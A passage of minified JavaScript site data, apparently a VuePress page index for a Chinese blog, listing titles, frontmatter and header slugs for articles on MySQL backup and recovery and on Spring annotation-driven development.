%95%B0%E6%8D%AE%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8D.html",relativePath:"md/core/mysql/base/2022-09-28-《MySQL核心知识》第14章:数据备份与恢复.md",key:"v-40ebcb16",path:"/md/core/mysql/base/2022-09-28-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC14%E7%AB%A0%EF%BC%9A%E6%95%B0%E6%8D%AE%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8D.html",headers:[{level:2,title:"备份/恢复策略",slug:"备份-恢复策略"},{level:2,title:"冷备份",slug:"冷备份"},{level:3,title:"备份",slug:"备份"},{level:3,title:"恢复",slug:"恢复"},{level:2,title:"逻辑备份",slug:"逻辑备份"},{level:3,title:"备份",slug:"备份-2"},{level:3,title:"恢复",slug:"恢复-2"},{level:2,title:"单个表的备份",slug:"单个表的备份"},{level:3,title:"备份",slug:"备份-3"},{level:3,title:"恢复",slug:"恢复-3"},{level:2,title:"使用备份工具ibbackup",slug:"使用备份工具ibbackup"},{level:2,title:"时间点恢复",slug:"时间点恢复"},{level:2,title:"位置恢复",slug:"位置恢复"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"如何加入星球",slug:"如何加入星球"},{level:2,title:"加群交流",slug:"加群交流"},{level:2,title:"公众号",slug:"公众号"},{level:2,title:"星球",slug:"星球"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第15章:自动备份与恢复MySQL数据库并发送Email邮件",frontmatter:{layout:"post",category:"binghe-code-interview",title:"第15章:自动备份与恢复MySQL数据库并发送Email邮件",tagline:"by 冰河",tag:["offer","interview","binghe-code-offer","binghe-code-interview"],excerpt:"第15章:自动备份与恢复MySQL数据库并发送Email邮件",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第15章:自动备份与恢复MySQL数据库并发送Email邮件"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/mysql/base/2022-10-18-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC15%E7%AB%A0-%E8%87%AA%E5%8A%A8%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8DMySQL%E6%95%B0%E6%8D%AE%E5%BA%93%E5%B9%B6%E5%8F%91%E9%80%81Email%E9%82%AE%E4%BB%B6.html"},{name:"twitter:title",content:"第15章:自动备份与恢复MySQL数据库并发送Email邮件"},{name:"twitter:url",content:"/md/core/mysql/base/2022-10-18-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC15%E7%AB%A0-%E8%87%AA%E5%8A%A8%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8DMySQL%E6%95%B0%E6%8D%AE%E5%BA%93%E5%B9%B6%E5%8F%91%E9%80%81Email%E9%82%AE%E4%BB%B6.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/mysql/base/2022-10-18-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC15%E7%AB%A0-%E8%87%AA%E5%8A%A8%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8DMySQL%E6%95%B0%E6%8D%AE%E5%BA%93%E5%B9%B6%E5%8F%91%E9%80%81Email%E9%82%AE%E4%BB%B6.html",relativePath:"md/core/mysql/base/2022-10-18-《MySQL核心知识》第15章-自动备份与恢复MySQL数据库并发送Email邮件.md",key:"v-aece93ca",path:"/md/core/mysql/base/2022-10-18-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC15%E7%AB%A0-%E8%87%AA%E5%8A%A8%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8DMySQL%E6%95%B0%E6%8D%AE%E5%BA%93%E5%B9%B6%E5%8F%91%E9%80%81Email%E9%82%AE%E4%BB%B6.html",headers:[{level:2,title:"背景案例",slug:"背景案例"},{level:2,title:"脚本说明",slug:"脚本说明"},{level:2,title:"数据恢复",slug:"数据恢复"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"如何加入星球",slug:"如何加入星球"},{level:2,title:"加群交流",slug:"加群交流"},{level:2,title:"公众号",slug:"公众号"},{level:2,title:"星球",slug:"星球"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/aop/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/core/spring/aop/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/aop/default.html",relativePath:"md/core/spring/aop/default.md",key:"v-741e9c3d",path:"/md/core/spring/aop/default.html",lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解驱动开发】聊聊Spring注解驱动开发那些事儿!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】聊聊Spring注解驱动开发那些事儿!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"今天,面了一个工作5年的小伙伴,面试结果不理想啊!也不是我说,工作5年了,问多线程的知识:就只知道继承Thread类和实现Runnable接口!问Java集合,竟然说HashMap是线程安全的!问MySQL的MyISAM存储引擎和InnoDB存储引擎的区别,竟然说成是MyISAM存储引擎支持事务,InnoDB不支持!问Spring就只知道IOC和AOP的概念,深一点就不知道了!再问项目。。。哎,算了,不说了!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解驱动开发】聊聊Spring注解驱动开发那些事儿!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-001-%E8%81%8A%E8%81%8ASpring%E6%B3%A8%E8%A7%A3%E9%A9%B1%E5%8A%A8%E5%BC%80%E5%8F%91%E9%82%A3%E4%BA%9B%E4%BA%8B%E5%84%BF.html"},{name:"twitter:title",content:"【Spring注解驱动开发】聊聊Spring注解驱动开发那些事儿!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-001-%E8%81%8A%E8%81%8ASpring%E6%B3%A8%E8%A7%A3%E9%A9%B1%E5%8A%A8%E5%BC%80%E5%8F%91%E9%82%A3%E4%BA%9B%E4%BA%8B%E5%84%BF.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-001-%E8%81%8A%E8%81%8ASpring%E6%B3%A8%E8%A7%A3%E9%A9%B1%E5%8A%A8%E5%BC%80%E5%8F%91%E9%82%A3%E4%BA%9B%E4%BA%8B%E5%84%BF.html",relativePath:"md/core/spring/ioc/2022-04-04-001-聊聊Spring注解驱动开发那些事儿.md",key:"v-174a78fe",path:"/md/core/spring/ioc/2022-04-04-001-%E8%81%8A%E8%81%8ASpring%E6%B3%A8%E8%A7%A3%E9%A9%B1%E5%8A%A8%E5%BC%80%E5%8F%91%E9%82%A3%E4%BA%9B%E4%BA%8B%E5%84%BF.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"关于Spring",slug:"关于spring"},{level:2,title:"Spring注解驱动",slug:"spring注解驱动"},{level:2,title:"专栏安排",slug:"专栏安排"},{level:3,title:"容器",slug:"容器"},{level:3,title:"扩展原理",slug:"扩展原理"},{level:3,title:"Web",slug:"web"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解开发】组件注册-使用@Configuration和@Bean给容器中注册组件",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解开发】组件注册-使用@Configuration和@Bean给容器中注册组件",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在之前的Spring版本中,我们只能通过写XML配置文件来定义我们的Bean,XML配置不仅繁琐,而且很容易出错,稍有不慎就会导致编写的应用程序各种报错,排查半天,发现是XML文件配置不对!另外,每个项目编写大量的XML文件来配置Spring,也大大增加了项目维护的复杂度,往往很多个项目的Spring XML文件的配置大部分是相同的,只有很少量的配置不同,这也造成了配置文件上的冗余。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解开发】组件注册-使用@Configuration和@Bean给容器中注册组件"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-002-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-%E4%BD%BF%E7%94%A8@Configuration%E5%92%8C@Bean%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8C%E7%BB%84%E4%BB%B6.html"},{name:"twitter:title",content:"【Spring注解开发】组件注册-使用@Configuration和@Bean给容器中注册组件"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-002-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-%E4%BD%BF%E7%94%A8@Configuration%E5%92%8C@Bean%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8C%E7%BB%84%E4%BB%B6.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-002-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-%E4%BD%BF%E7%94%A8@Configuration%E5%92%8C@Bean%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8C%E7%BB%84%E4%BB%B6.html",relativePath:"md/core/spring/ioc/2022-04-04-002-组件注册-使用@Configuration和@Bean给容器中注册组件.md",key:"v-167938cb",path:"/md/core/spring/ioc/2022-04-04-002-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-%E4%BD%BF%E7%94%A8@Configuration%E5%92%8C@Bean%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8C%E7%BB%84%E4%BB%B6.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"Spring IOC和DI",slug:"spring-ioc和di"},{level:2,title:"通过XML文件注入JavaBean",slug:"通过xml文件注入javabean"},{level:2,title:"通过注解注入JavaBean",slug:"通过注解注入javabean"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解驱动开发】使用@ComponentScan自动扫描组件并指定扫描规则",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】使用@ComponentScan自动扫描组件并指定扫描规则",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在实际项目中,我们更多的是使用Spring的包扫描功能对项目中的包进行扫描,凡是在指定的包或子包中的类上标注了@Repository、@Service、@Controller、@Component注解的类都会被扫描到,并将这个类注入到Spring容器中。Spring包扫描功能可以使用XML文件进行配置,也可以直接使用@ComponentScan注解进行设置,使用@ComponentScan注解进行设置比使用XML文件配置要简单的多。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解驱动开发】使用@ComponentScan自动扫描组件并指定扫描规则"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-003-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-@ComponentScan-%E8%87%AA%E5%8A%A8%E6%89%AB%E6%8F%8F%E7%BB%84%E4%BB%B6&%E6%8C%87%E5%AE%9A%E6%89%AB%E6%8F%8F%E8%A7%84%E5%88%99.html"},{name:"twitter:title",content:"【Spring注解驱动开发】使用@ComponentScan自动扫描组件并指定扫描规则"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-003-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-@ComponentScan-%E8%87%AA%E5%8A%A8%E6%89%AB%E6%8F%8F%E7%BB%84%E4%BB%B6&%E6%8C%87%E5%AE%9A%E6%89%AB%E6%8F%8F%E8%A7%84%E5%88%99.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-003-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-@ComponentScan-%E8%87%AA%E5%8A%A8%E6%89%AB%E6%8F%8F%E7%BB%84%E4%BB%B6&%E6%8C%87%E5%AE%9A%E6%89%AB%E6%8F%8F%E8%A7%84%E5%88%99.html",relativePath:"md/core/spring/ioc/2022-04-04-003-组件注册-@ComponentScan-自动扫描组件&指定扫描规则.md",key:"v-fc5cf2ca",path:"/md/core/spring/ioc/2022-04-04-003-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-@ComponentScan-%E8%87%AA%E5%8A%A8%E6%89%AB%E6%8F%8F%E7%BB%84%E4%BB%B6&%E6%8C%87%E5%AE%9A%E6%89%AB%E6%8F%8F%E8%A7%84%E5%88%99.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"使用XML文件配置包扫描",slug:"使用xml文件配置包扫描"},{level:2,title:"使用注解配置包扫描",slug:"使用注解配置包扫描"},{level:2,title:"关于@ComponentScan注解",slug:"关于-componentscan注解"},{level:3,title:"1.扫描时排除注解标注的类",slug:"_1-扫描时排除注解标注的类"},{level:3,title:"2.扫描时只包含注解标注的类",slug:"_2-扫描时只包含注解标注的类"},{level:3,title:"3.重复注解",slug:"_3-重复注解"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解驱动开发】自定义TypeFilter指定@ComponentScan注解的过滤规则",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】自定义TypeFilter指定@ComponentScan注解的过滤规则",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"Spring的强大之处不仅仅是提供了IOC容器,能够通过过滤规则指定排除和只包含哪些组件,它还能够通过自定义TypeFilter来指定过滤规则。如果Spring内置的过滤规则不能够满足我们的需求,那么我们就可以通过自定义TypeFilter来实现我们自己的过滤规则。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解驱动开发】自定义TypeFilter指定@ComponentScan注解的过滤规则"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-004-%E8%87%AA%E5%AE%9A%E4%B9%89TypeFilter%E6%8C%87%E5%AE%9A%E8%BF%87%E6%BB%A4%E8%A7%84%E5%88%99.html"},{name:"twitter:title",content:"【Spring注解驱动开发】自定义TypeFilter指定@ComponentScan注解的过滤规则"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-004-%E8%87%AA%E5%AE%9A%E4%B9%89TypeFilter%E6%8C%87%E5%AE%9A%E8%BF%87%E6%BB%A4%E8%A7%84%E5%88%99.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-004-%E8%87%AA%E5%AE%9A%E4%B9%89TypeFilter%E6%8C%87%E5%AE%9A%E8%BF%87%E6%BB%A4%E8%A7%84%E5%88%99.html",relativePath:"md/core/spring/ioc/2022-04-04-004-自定义TypeFilter指定过滤规则.md",key:"v-0be82a49",path:"/md/core/spring/ioc/2022-04-04-004-%E8%87%AA%E5%AE%9A%E4%B9%89TypeFilter%E6%8C%87%E5%AE%9A%E8%BF%87%E6%BB%A4%E8%A7%84%E5%88%99.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"FilterType中常用的规则",slug:"filtertype中常用的规则"},{level:2,title:"实现自定义过滤规则",slug:"实现自定义过滤规则"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解驱动开发】使用@Lazy注解实现懒加载",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】使用@Lazy注解实现懒加载",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"Spring在启动时,默认会将单实例bean进行实例化,并加载到Spring容器中。也就是说,单实例bean默认在Spring容器启动的时候创建对象,并将对象加载到Spring容器中。如果我们需要对某个bean进行延迟加载,我们该如何处理呢?此时,就需要使用到@Lazy注解了。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解驱动开发】使用@Lazy注解实现懒加载"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-005-%E4%BD%BF%E7%94%A8@Lazy%E6%B3%A8%E8%A7%A3%E5%AE%9E%E7%8E%B0%E6%87%92%E5%8A%A0%E8%BD%BD.html"},{name:"twitter:title",content:"【Spring注解驱动开发】使用@Lazy注解实现懒加载"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-005-%E4%BD%BF%E7%94%A8@Lazy%E6%B3%A8%E8%A7%A3%E5%AE%9E%E7%8E%B0%E6%87%92%E5%8A%A0%E8%BD%BD.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-005-%E4%BD%BF%E7%94%A8@Lazy%E6%B3%A8%E8%A7%A3%E5%AE%9E%E7%8E%B0%E6%87%92%E5%8A%A0%E8%BD%BD.html",relativePath:"md/core/spring/ioc/2022-04-04-005-使用@Lazy注解实现懒加载.md",key:"v-408e39be",path:"/md/core/spring/ioc/2022-04-04-005-%E4%BD%BF%E7%94%A8@Lazy%E6%B3%A8%E8%A7%A3%E5%AE%9E%E7%8E%B0%E6%87%92%E5%8A%A0%E8%BD%BD.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"懒加载",slug:"懒加载"},{level:2,title:"非懒加载模式",slug:"非懒加载模式"},{level:2,title:"懒加载模式",slug:"懒加载模式"},{level:2,title:"总结",slug:"总结"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【String注解驱动开发】如何按照条件向Spring容器中注册bean?这次我懂了!!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【String注解驱动开发】如何按照条件向Spring容器中注册bean?这次我懂了!!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"当bean是单实例,并且没有设置懒加载时,Spring容器启动时,就会实例化bean,并将bean注册到IOC容器中,以后每次从IOC容器中获取bean时,直接返回IOC容器中的bean,不再创建新的bean。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【String注解驱动开发】如何按照条件向Spring容器中注册bean?这次我懂了!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-006-%E5%A6%82%E4%BD%95%E6%8C%89%E7%85%A7%E6%9D%A1%E4%BB%B6%E5%90%91Spring%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{name:"twitter:title",content:"【String注解驱动开发】如何按照条件向Spring容器中注册bean?这次我懂了!!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-006-%E5%A6%82%E4%BD%95%E6%8C%89%E7%85%A7%E6%9D%A1%E4%BB%B6%E5%90%91Spring%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-006-%E5%A6%82%E4%BD%95%E6%8C%89%E7%85%A7%E6%9D%A1%E4%BB%B6%E5%90%91Spring%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html",relativePath:"md/core/spring/ioc/2022-04-04-006-如何按照条件向Spring中注册bean.md",key:"v-2b9d067b",path:"/md/core/spring/ioc/2022-04-04-006-%E5%A6%82%E4%BD%95%E6%8C%89%E7%85%A7%E6%9D%A1%E4%BB%B6%E5%90%91Spring%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"@Conditional注解概述",slug:"conditional注解概述"},{level:2,title:"向Spring容器注册bean",slug:"向spring容器注册bean"},{level:3,title:"不带条件注册bean",slug:"不带条件注册bean"},{level:3,title:"带条件注册bean",slug:"带条件注册bean"},{level:2,title:"@Conditional的扩展注解",slug:"conditional的扩展注解"},{level:2,title:"@Conditional 与@Profile 的对比",slug:"conditional-与-profile-的对比"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解驱动开发】使用@Import注解给容器中快速导入一个组件",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】使用@Import注解给容器中快速导入一个组件",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"我们可以将一些bean组件交由Spring管理,并且Spring支持单实例bean和多实例bean。我们自己写的类,可以通过包扫描+标注注解(@Controller、@Servcie、@Repository、@Component)的形式将其注册到IOC容器中,如果不是我们自己写的类,比如,我们在项目中引入了一些第三方的类库,此时,我们需要将这些第三方类库中的类注册到Spring容器中,该怎么办呢?此时,我们就可以使用@Bean和@Import注解将这些类快速的导入Spring容器中。接下来,我们来一起探讨下如何使用@Import注解给容器中快速导入一个组件。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解驱动开发】使用@Import注解给容器中快速导入一个组件"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-007-%E4%BD%BF%E7%94%A8@Import%E6%B3%A8%E8%A7%A3%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E5%BF%AB%E9%80%9F%E5%AF%BC%E5%85%A5%E4%B8%80%E4%B8%AA%E7%BB%84%E4%BB%B6.html"},{name:"twitter:title",content:"【Spring注解驱动开发】使用@Import注解给容器中快速导入一个组件"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-007-%E4%BD%BF%E7%94%A8@Import%E6%B3%A8%E8%A7%A3%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E5%BF%AB%E9%80%9F%E5%AF%BC%E5%85%A5%E4%B8%80%E4%B8%AA%E7%BB%84%E4%BB%B6.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-007-%E4%BD%BF%E7%94%A8@Import%E6%B3%A8%E8%A7%A3%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E5%BF%AB%E9%80%9F%E5%AF%BC%E5%85%A5%E4%B8%80%E4%B8%AA%E7%BB%84%E4%BB%B6.html",relativePath:"md/core/spring/ioc/2022-04-04-007-使用@Import注解给容器中快速导入一个组件.md",key:"v-1dc42540",path:"/md/core/spring/ioc/2022-04-04-007-%E4%BD%BF%E7%94%A8@Import%E6%B3%A8%E8%A7%A3%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E5%BF%AB%E9%80%9F%E5%AF%BC%E5%85%A5%E4%B8%80%E4%B8%AA%E7%BB%84%E4%BB%B6.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"注册bean的方式",slug:"注册bean的方式"},{level:2,title:"@Import注解概述",slug:"import注解概述"},{level:2,title:"@Import注解的使用方式",slug:"import注解的使用方式"},{level:2,title:"@Import导入组件的简单示例",slug:"import导入组件的简单示例"},{level:3,title:"没有使用@Import注解的效果",slug:"没有使用-import注解的效果"},{level:3,title:"使用@Import注解的效果",slug:"使用-import注解的效果"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解驱动开发】深入理解Spring的ImportSelector接口",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】深入理解Spring的ImportSelector接口",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在前面的文章中,我们知道了可以使用ImportSelector接口实现向Spring容器中导入bean,那ImportSelector接口是如何实现的呢,接下来,我们就一探究竟!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解驱动开发】深入理解Spring的ImportSelector接口"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-008-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3Spring%E7%9A%84ImportSelector%E6%8E%A5%E5%8F%A3.html"},{name:"twitter:title",content:"【Spring注解驱动开发】深入理解Spring的ImportSelector接口"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-008-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3Spring%E7%9A%84ImportSelector%E6%8E%A5%E5%8F%A3.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-008-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3Spring%E7%9A%84ImportSelector%E6%8E%A5%E5%8F%A3.html",relativePath:"md/core/spring/ioc/2022-04-04-008-深入理解Spring的ImportSelector接口.md",key:"v-484183a1",path:"/md/core/spring/ioc/2022-04-04-008-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3Spring%E7%9A%84ImportSelector%E6%8E%A5%E5%8F%A3.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"ImportSelector接口概述",slug:"importselector接口概述"},{level:2,title:"ImportSelector接口探秘",slug:"importselector接口探秘"},{level:2,title:"自定义@EnableXXX注解",slug:"自定义-enablexxx注解"},{level:3,title:"创建实体类",slug:"创建实体类"},{level:3,title:"创建ImportSelector接口的实现类",slug:"创建importselector接口的实现类"},{level:3,title:"自定义@EnableSpringStudy注解",slug:"自定义-enablespringstudy注解"},{level:3,title:"创建配置类",slug:"创建配置类"},{level:2,title:"使用自定义@EnableXXX注解",slug:"使用自定义-enablexxx注解"},{level:2,title:"ImportSelector源码分析",slug:"importselector源码分析"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解驱动开发】在@Import注解中使用ImportSelector接口导入bean",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】在@Import注解中使用ImportSelector接口导入bean",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在上一篇关于Spring的@Import注解的文章《[【Spring注解驱动开发】使用@Import注解给容器中快速导入一个组件](https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247484863&idx=1&sn=faca9edb10665d357089a290220ede2f&chksm=cee51a72f992936430364b018e07f062c2cb4bbe7111d0b615a1937215170976e5caf23a227b&token=1557037040&lang=zh_CN#rd)》中,我们简单介绍了如何使用@Import注解给容器中快速导入一个组件,而我们知道,@Import注解总共包含三种使用方法,分别为:直接填class数组方式;ImportSelector方法(重点);ImportBeanDefinitionRegistrar方式。那么,今天,我们就一起来学习关于@Import注解非常重要的第二种方式:ImportSelector方式。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解驱动开发】在@Import注解中使用ImportSelector接口导入bean"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-009-%E5%9C%A8@Import%E6%B3%A8%E8%A7%A3%E4%B8%AD%E4%BD%BF%E7%94%A8ImportSelector.html"},{name:"twitter:title",content:"【Spring注解驱动开发】在@Import注解中使用ImportSelector接口导入bean"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-009-%E5%9C%A8@Import%E6%B3%A8%E8%A7%A3%E4%B8%AD%E4%BD%BF%E7%94%A8ImportSelector.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-009-%E5%9C%A8@Import%E6%B3%A8%E8%A7%A3%E4%B8%AD%E4%BD%BF%E7%94%A8ImportSelector.html",relativePath:"md/core/spring/ioc/2022-04-04-009-在@Import注解中使用ImportSelector.md",key:"v-42f82cc0",path:"/md/core/spring/ioc/2022-04-04-009-%E5%9C%A8@Import%E6%B3%A8%E8%A7%A3%E4%B8%AD%E4%BD%BF%E7%94%A8ImportSelector.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"ImportSelector接口概述",slug:"importselector接口概述"},{level:2,title:"ImportSelector接口实例",slug:"importselector接口实例"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解驱动开发】面试官:如何将Service注入到Servlet中?朋友又栽了!!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】面试官:如何将Service注入到Servlet中?朋友又栽了!!",tagline:"by 